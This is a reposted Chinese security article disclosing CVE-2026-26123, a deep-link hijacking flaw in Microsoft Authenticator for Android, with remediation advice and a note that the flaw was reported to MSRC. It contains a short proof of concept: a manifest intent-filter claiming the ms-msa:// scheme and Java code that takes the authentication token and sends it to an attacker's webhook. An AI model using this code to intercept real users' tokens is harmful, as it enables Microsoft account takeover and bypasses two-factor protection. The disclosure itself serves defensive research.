【CVE-2026-26123】微软身份认证器DeepLink漏洞

admin 2026-03-29 23:43:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文披露了微软身份验证器Android应用中一个深层链接劫持漏洞CVE-2026-26123。该应用未正确声明ms-msa://协议,导致任何恶意应用均可拦截用户扫描二维码时产生的身份验证令牌,从而完全绕过2FA、密码等安全机制,实现微软账户完整接管。攻击利用仅需互联网权限,受害者无感知。作者建议开发者审计深层链接配置并实施AppLinks验证,用户应更新至最新版本。 综合评分: 82 文章分类: 漏洞分析,移动安全,漏洞预警,WEB安全


cover_image

【CVE-2026-26123】微软身份认证器 DeepLink 漏洞

原创

骨哥说事 骨哥说事

骨哥说事

2026年3月26日 14:51 上海

| | | — | | 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |

#

#

防走失:https://gugesay.com/archives/5442

不想错过任何消息?设置星标↓ ↓ ↓

#

概述

微软身份验证器用于安全引导用户登录或通过二维码启用双因素认证 (2FA) 的 ms-msa:// 深层链接,实际上并未被该应用自身正确声明。

这一疏忽造成了“完美风暴”:任何恶意应用都可以拦截身份验证令牌,导致完整的账户接管——绕过 2FA、密码要求和微软部署的每一层其他安全保护。

背景设定:当便利遭遇灾难

想象一下:你正在手机上设置微软身份验证器。微软的网页界面生成了一个二维码。你用手机的原生摄像头(像大多数人那样)扫描它,点击 “打开链接”,然后……你刚刚把你的账户交给了攻击者。

但关键是——你永远不会知道。

深度链接灾难剖析

什么是深层链接?

Android 深层链接 (Android deep links) 让你可以将用户从其点击的链接(例如来自网页浏览、搜索、通知等)直接带入你的应用内容中。

深层链接是具有自定义协议的URL,用于启动特定应用。你到处都能看到它们:

  • spotify://track/...

    打开 Spotify

  • uber://

    启动 Uber

  • ms-msa://

    应该打开微软身份验证器

这里的关键词是 应该

漏洞:一个数字遗弃案例

当微软身份验证器为账户设置生成二维码时,它会创建如下深层链接:

ms-msa://code=M.C544_BL2.2.U.60e61ddd-1d08-127d-d783-bda9b7v&uaid=88498cfad78b4669aaec4b7a1c8&expires=3964722534

这个令牌是金子。它是绕开一切——2FA、密码、安全问题——的直接身份验证凭证。是万能钥匙。

现在,事情变得离谱了:微软身份验证器实际上并未监听这个深层链接。

当深层链接从以下途径触发时:

  • 原生手机二维码扫描器
  • 网页点击
  • ADB隐式意图

结果呢?错误。应用甚至都不打开。点击 “打开链接” 将打开攻击者的应用。

利用:深层链接劫持入门

由于微软身份验证器 “抛弃” 了它自己的深层链接,任何应用都可以声明它。没有竞争。用户不会收到 “哪个应用应处理此操作?” 的提示。恶意应用默认获胜。

这在最新的 Android 和 iOS 版本,以及最新的微软身份验证器版本上均有效。

构建 “伪造身份验证器”

创建概念验证 (POC) 简单得几乎让人尴尬:

步骤 1: 注册被遗弃的深层链接


<intent-filter>&nbsp; &nbsp;&nbsp;<action&nbsp;android:name="android.intent.action.VIEW"&nbsp;/>&nbsp; &nbsp;&nbsp;<category&nbsp;android:name="android.intent.category.DEFAULT"&nbsp;/>&nbsp; &nbsp;&nbsp;<category&nbsp;android:name="android.intent.category.BROWSABLE"&nbsp;/>&nbsp; &nbsp;&nbsp;<data&nbsp;android:scheme="ms-msa"&nbsp;/></intent-filter>

步骤 2: 提取并外传令牌

Intent&nbsp;intent&nbsp;=&nbsp;getIntent();Uri&nbsp;data&nbsp;=&nbsp;intent.getData();String&nbsp;token&nbsp;=&nbsp;data.getQueryParameter("code");// 发送到攻击者的服务器sendToWebhook(token);

步骤 3: 获利

凭借窃取的令牌,攻击者可以:

  1. 从身份验证器生成他们自己的 2FA 代码
  2. 通过身份验证器登录
  3. 获得完整的账户访问权限

通过此途径可能受损的服务:

电子邮件、Office、Microsoft Teams、OneDrive、Skype、Outlook 等。

攻击链

  1. 受害者访问 [https://login.live.com/](https://login.live.com/)
  2. 合法的微软身份验证器链接页面
  3. 生成带有 ms-msa:// 深层链接的二维码
  4. 受害者用原生摄像头扫描(标准操作)
  5. 手机显示 “打开链接” 提示
  6. 恶意应用拦截——微软身份验证器踪影全无
  7. 令牌发送到攻击者的服务器
  8. 攻击者登录

影响:完整的账户接管

这不是一个理论上的漏洞。其影响是严重的:

  • 范围:

    所有微软账户服务(Outlook, OneDrive, Azure, Office 365)

  • 可绕过项:

    2FA、密码要求、安全警报

  • 可检测性:

    无。受害者不会收到任何通知

该攻击需要最少的用户交互(扫描二维码——这是用户被训练去做的事),且恶意应用(除互联网访问外)无需获取任何可疑权限。

解决方案很简单,但需要正确实施:

只需实现应用链接验证即可。

对安全工程师和开发者的教训

审计你的深层链接,实现应用链接验证,并记住身份验证流程值得最高级别的审查。毕竟,你可以拥有世界上最坚固的锁,但如果你把钥匙放在门垫下,一切都是徒劳。

关键且简单的漏洞仍然存在!

时间线与披露

此漏洞已得到认可 (CVE-2026–26123),得到缓解,并已负责任地披露给微软安全响应中心 (MSRC)。该概念验证演示了问题,而不需要过多权限——仅仅是互联网权限——这使其格外危险。

建议客户更新至最新版本。

原文:https://khaledsec.medium.com/e0409a920a02?sk=df506976e7c2d15fd29e70725873f6e2

感谢阅读,如果觉得还不错的话,动动手指分享给更多喜爱的朋友~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:骨哥说事 骨哥说事 骨哥说事《【CVE-2026-26123】微软身份认证器 DeepLink 漏洞》

评论:0   参与:  0